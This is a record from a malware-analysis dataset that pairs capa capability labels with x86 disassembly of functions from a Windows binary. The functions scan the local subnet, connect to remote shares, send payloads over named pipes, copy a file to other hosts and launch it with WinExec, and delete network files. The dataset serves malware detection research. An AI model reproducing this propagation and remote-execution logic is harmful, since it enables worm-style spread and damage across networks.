joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408096
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
and dword [ebp - 8], 0
and dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0x4080b9
mov dword [ebp - 8], 1
jmp 0x408293
cmp dword [ebp + 0x10], 1
je 0x4080c9
cmp dword [ebp + 0x10], 2
jne 0x408293
and dword [ebp - 0xb4], 0
and dword [ebp - 0x60], 0
and dword [ebp - 0x5c], 0
push 0x50
push 0
lea eax, [ebp - 0xb0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x50
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xb8], 1
jmp 0x408114
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0xb8], eax
ja 0x4081cb
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 0xb8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x5c], eax
cmp dword [ebp + 0x10], 1
jne 0x408155
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x60], eax
jmp 0x408193
cmp dword [ebp + 0x10], 2
jne 0x408193
mov eax, dword [ebp - 0x5c]
cmp dword [eax + 0x10], 0
jbe 0x40818f
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx + 0x10]
mov ecx, dword [ebp + 0xc]
sub ecx, eax
mov dword [ebp - 0x60], ecx
jne 0x40818d
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 8], eax
jmp 0x408293
jmp 0x408193
and dword [ebp - 0x60], 0
cmp dword [ebp - 0x60], 0
jbe 0x4081c6
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xb0], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x58], ecx
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
jmp 0x408107
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x60], eax
and dword [ebp - 0xbc], 0
jmp 0x4081ea
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xb4]
jae 0x40824c
cmp dword [ebp + 0x10], 1
jne 0x408222
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jbe 0x408220
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x40824a
cmp dword [ebp + 0x10], 2
jne 0x40824a
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jae 0x40824a
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x4081dd
and dword [ebp - 0xc0], 0
jmp 0x408262
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0xb4]
jae 0x408293
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp + eax*4 - 0xb0]
jne 0x408291
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x58]
mov dword [ebp - 8], eax
jmp 0x408293
jmp 0x408255
cmp dword [ebp - 8], 0
jne 0x4082a0
mov dword [ebp - 8], 1
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x408af2
Capabilities:
Connect network resource
Initialize winsock library
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1424
call fcn.0040b820
and dword [ebp - 0x1a0], 0
or dword [ebp - 0x3d4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19c], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1424], eax
movzx eax, byte [0x40e72a]
cmp eax, 0xfffffff2
jne 0x408b3e
xor eax, eax
jmp 0x408d4b
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x104
push 0
lea eax, [ebp - 0x2a8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40cea0
push dword [ebp + 8]
push 0x40ceac
lea eax, [ebp - 0x2a8]
push eax
call dword [ebp - 4]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x3b0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push dword [ebp + 8]
push 0x40ceac
lea eax, [ebp - 0x3b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
and dword [ebp - 0x3cc], 0
and dword [ebp - 0x3c0], 0
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x3bc], eax
and dword [ebp - 0x3b4], 0
push 0
push 0x40ceb8
push 0x40ceb8
lea eax, [ebp - 0x3d0]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x408bf4
xor eax, eax
jmp 0x408d4b
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x2a8]
push eax
call dword [ebp - 0x1424]
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0xffffffff
jne 0x408c2c
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x408d4b
push 0x48
push 0x40e380
lea eax, [ebp - 0x1420]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x1400]
push eax
push 0x40e79c
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
push 0x40e79c
lea eax, [ebp - 0x1400]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
push 3
pop eax
mov word [ebp - 0x13f0], ax
xor eax, eax
mov word [ebp - 0x13ee], ax
push 0x1000
push 0
lea eax, [ebp - 0x13d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x13d8]
push eax
push 0x48
lea eax, [ebp - 0x1420]
push eax
push dword [ebp - 0x3d4]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x139
push 0x40e660
push 0x40e4c2
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x13d8]
push eax
push 0x1e4
push 0x40e478
push dword [ebp - 0x3d4]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x13d8]
push eax
push 0xa4
push 0x40e3d0
push dword [ebp - 0x3d4]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push dword [ebp - 0x3d4]
call dword [ebp - 0x19c]
push 1
push 1
lea eax, [ebp - 0x3b0]
push eax
call sub.MPR.dll_WNetCancelConnection2A
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4
Function at 0x408db6
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
and dword [ebp - 0xc], 0
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x408e0e
call dword [ebp - 4]
cmp eax, 0x3e5
je 0x408e0e
or eax, 0xffffffff
jmp 0x408e10
xor eax, eax
leave
ret 0x18
Function at 0x4090bb
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x18], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x40b7f8
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
je 0x4090fd
jmp 0x409262
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x409116
jmp 0x409262
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x409239
and dword [ebp - 0x1c], 0
jmp 0x409151
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jae 0x409237
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x409211
or dword [ebp - 0x12c], 0xffffffff
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x40cebc
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xffffffff
je 0x409211
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x40cdec
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
call fcn.0040773d
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x409232
mov eax, dword [ebp - 0x1c]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.004090bb
jmp 0x40914a
jmp 0x409244
cmp dword [ebp - 0x18], 0x103
je 0x409244
jmp 0x409251
cmp dword [ebp - 0x18], 0x103
jne 0x409116
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 4]
call sub.MPR.dll_WNetCloseEnum
leave
ret 4
Function at 0x409377
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
and dword [ebp - 0x1dc], 0
mov dword [ebp - 0x194], 1
and dword [ebp - 0x1e0], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x4093ea
push 0x40
push 0
lea eax, [ebp - 0x1d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x1dc], eax
push dword [ebp - 0x1dc]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
jne 0x409416
and dword [ebp - 0x194], 0
jmp 0x40958f
push 4
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x1e4], 0
jmp 0x40943b
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
cmp dword [eax + ecx*4], 0
je 0x40958f
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp + 0x10], 1
jne 0x40950c
cmp dword [ebp - 0x1ec], 0xc0
jne 0x4094a9
cmp dword [ebp - 0x1e8], 0xa8
je 0x4094e8
cmp dword [ebp - 0x1ec], 0xa9
jne 0x4094c1
cmp dword [ebp - 0x1e8], 0xfe
je 0x4094e8
cmp dword [ebp - 0x1ec], 0xac
jne 0x4094d6
cmp dword [ebp - 0x1e8], 0x10
je 0x4094e8
cmp dword [ebp - 0x1ec], 0xa
je 0x4094e8
cmp dword [ebp - 0x1ec], 0x7f
jne 0x40950c
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40958f
cmp dword [ebp + 0x10], 2
jne 0x40958a
cmp dword [ebp - 0x1ec], 0xc0
je 0x40958a
cmp dword [ebp - 0x1e8], 0xa8
je 0x40958a
cmp dword [ebp - 0x1ec], 0xa9
je 0x40958a
cmp dword [ebp - 0x1e8], 0xfe
je 0x40958a
cmp dword [ebp - 0x1ec], 0xac
je 0x40958a
cmp dword [ebp - 0x1e8], 0x10
je 0x40958a
cmp dword [ebp - 0x1ec], 0xa
je 0x40958a
cmp dword [ebp - 0x1ec], 0x7f
je 0x40958a
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40958f
jmp 0x40942e
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x40959e
and dword [ebp - 0x194], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
leave
ret 0xc
Function at 0x4095ae
Capabilities:
Connect network resource
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x590
and dword [ebp - 0x28], 0
or dword [ebp - 0x2c], 0xffffffff
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x17c], eax
push 0x40
push 0
lea eax, [ebp - 0x70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40cecc
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
and dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 1
and dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x40ceb8
and dword [ebp - 4], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0xc], eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x40963f
mov eax, dword [ebp - 0x28]
jmp 0x409752
push 0x104
push 0
lea eax, [ebp - 0x178]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40ced8
push 0x40cee0
push dword [ebp + 8]
push 0x40cee4
lea eax, [ebp - 0x178]
push eax
call dword [ebp - 0x24]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x178]
push eax
call dword [ebp - 0x17c]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x409742
and dword [ebp - 0x180], 0
push 0
lea eax, [ebp - 0x180]
push eax
push dword [0x4118b8]
push dword [0x4118b4]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x180]
cmp eax, dword [0x4118b8]
jne 0x409739
lea eax, [ebp - 0x590]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
push 0
lea eax, [ebp - 0x580]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40ced8
movzx eax, word [ebp - 0x586]
add eax, 3
push eax
movzx eax, word [ebp - 0x588]
push eax
push dword [ebp + 8]
push 0x40cef4
lea eax, [ebp - 0x580]
push eax
call dword [ebp - 0x24]
add esp, 0x18
push 0
lea eax, [ebp - 0x580]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x28], 1
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x70]
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, dword [ebp - 0x28]
leave
ret 0xc
Function at 0x409862
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 8], ax
push 4
push 0
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0
lea eax, [ebp - 4]
push eax
call fcn.00409377
test eax, eax
jne 0x409899
jmp 0x4099a4
mov eax, dword [ebp - 4]
and eax, 0xffff
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
and eax, 0xffff0000
shr eax, 0x10
and eax, 0xffff
mov word [ebp - 8], ax
push 2
pop eax
mov word [ebp - 0x10], ax
jmp 0x4098cd
mov ax, word [ebp - 0x10]
add ax, 1
mov word [ebp - 0x10], ax
movzx eax, word [ebp - 0x10]
cmp eax, 0xffff
jge 0x4099a4
movzx eax, word [ebp - 0x10]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jne 0x4098ea
jmp 0x4098c1
movzx eax, word [ebp - 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htonl]
or eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xbb8
lea eax, [ebp - 0x58]
push eax
call fcn.00408e14
test eax, eax
jne 0x409923
jmp 0x4098c1
push 1
lea eax, [ebp - 0x58]
push eax
call fcn.00409266
cmp eax, 1
jne 0x409935
jmp 0x4098c1
cmp dword [ebp + 8], 2
jne 0x409954
lea eax, [ebp - 0x58]
push eax
call fcn.00408af2
cmp eax, 1
jne 0x409954
push 2
lea eax, [ebp - 0x58]
push eax
call fcn.00409266
cmp dword [ebp + 8], 1
jne 0x40999f
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x5c], eax
push 0
push 0
lea eax, [ebp - 0x60]
push eax
push 0x409756
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4098c1
leave
ret 4

Function at 0x40a97f
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x14], 0
mov eax, dword [ebp + 8]
and dword [eax + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4
Function at 0x40abbe
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0xc], 1
and dword [ebp - 8], 0
and dword [ebp - 0x58], 0
and dword [ebp - 0x54], 0
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x288
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x54]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40ac58
cmp dword [ebp - 0x58], 0x6f
jne 0x40ac4a
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x54]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40ac48
and dword [ebp - 0xc], 0
jmp 0x40ad31
jmp 0x40ac58
and dword [ebp - 0xc], 0
jmp 0x40ad31
push 0x40
push 0
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x199]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x198]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x197]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x196]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x195]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x194]
push eax
push 0x40cf10
lea eax, [ebp - 0x50]
push eax
call dword [ebp - 4]
add esp, 0x20
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x60], 0
and dword [ebp - 0x5c], 0
jmp 0x40ace1
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0x60], eax
jge 0x40ad31
mov eax, dword [ebp - 0x60]
movsx eax, byte [ebp + eax - 0x4f]
cmp eax, 0x2d
jne 0x40ad20
cmp dword [ebp - 0x60], 0
je 0x40ad10
mov eax, dword [ebp - 0x60]
movsx eax, byte [ebp + eax - 0x51]
cmp eax, 0x2d
jne 0x40ad20
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0x30
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
mov cl, byte [ebp + ecx - 0x50]
mov byte [eax], cl
jmp 0x40acd3
cmp dword [ebp - 0x54], 0
je 0x40ad46
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x6c], eax
push dword [ebp - 0x6c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x40ad4d
Capabilities:
Create process on windows
Get common file path
Get program files directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
push 0x104
push 0
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x40cf24
lea eax, [ebp - 0x220]
push eax
push 0x40c534
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x400
push 0
lea eax, [ebp - 0x620]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
push 0x40cf44
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x44
push 0
lea eax, [ebp - 0x668]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x668], 0x44
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x668]
push eax
push 0
push 0
push 0x4000000
push 1
push 0
push 0
lea eax, [ebp - 0x620]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
jne 0x40ae54
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret 4
Function at 0x40ae58
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13bc
call fcn.0040b820
and dword [ebp - 0x3b0], 0
and dword [ebp - 0x39c], 0
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x204], eax
lea eax, [ebp - 0x398]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40eac8
push 0x40cf4c
push 0x40c534
lea eax, [ebp - 0x200]
push eax
call dword [ebp - 0x204]
add esp, 0x10
push 0x1000
push 0
lea eax, [ebp - 0x13b0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x13b0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x39c], eax
push 2
pop eax
mov word [ebp - 0x3ac], ax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x3aa], ax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x3a8], eax
push 0x10
lea eax, [ebp - 0x3ac]
push eax
push dword [ebp - 0x39c]
call dword [0x4118bc]
test eax, eax
jne 0x40afe7
and dword [ebp - 0x13b8], 0
and dword [ebp - 0x13bc], 0
and dword [ebp - 0x13b4], 0
lea eax, [ebp - 0x13b0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x13bc], eax
push 0
push dword [ebp - 0x13bc]
mov eax, dword [ebp - 0x13b4]
lea eax, [ebp + eax - 0x13b0]
push eax
push dword [ebp - 0x39c]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x13b8], eax
mov eax, dword [ebp - 0x13b4]
add eax, dword [ebp - 0x13b8]
mov dword [ebp - 0x13b4], eax
mov eax, dword [ebp - 0x13bc]
sub eax, dword [ebp - 0x13b8]
mov dword [ebp - 0x13bc], eax
jne 0x40afd5
mov dword [ebp - 0x3b0], 1
jmp 0x40afe7
cmp dword [ebp - 0x13b8], 0
je 0x40afe7
cmp dword [ebp - 0x13b8], 0xffffffff
jne 0x40af7b
push dword [ebp - 0x39c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x3b0]
leave
ret 0x10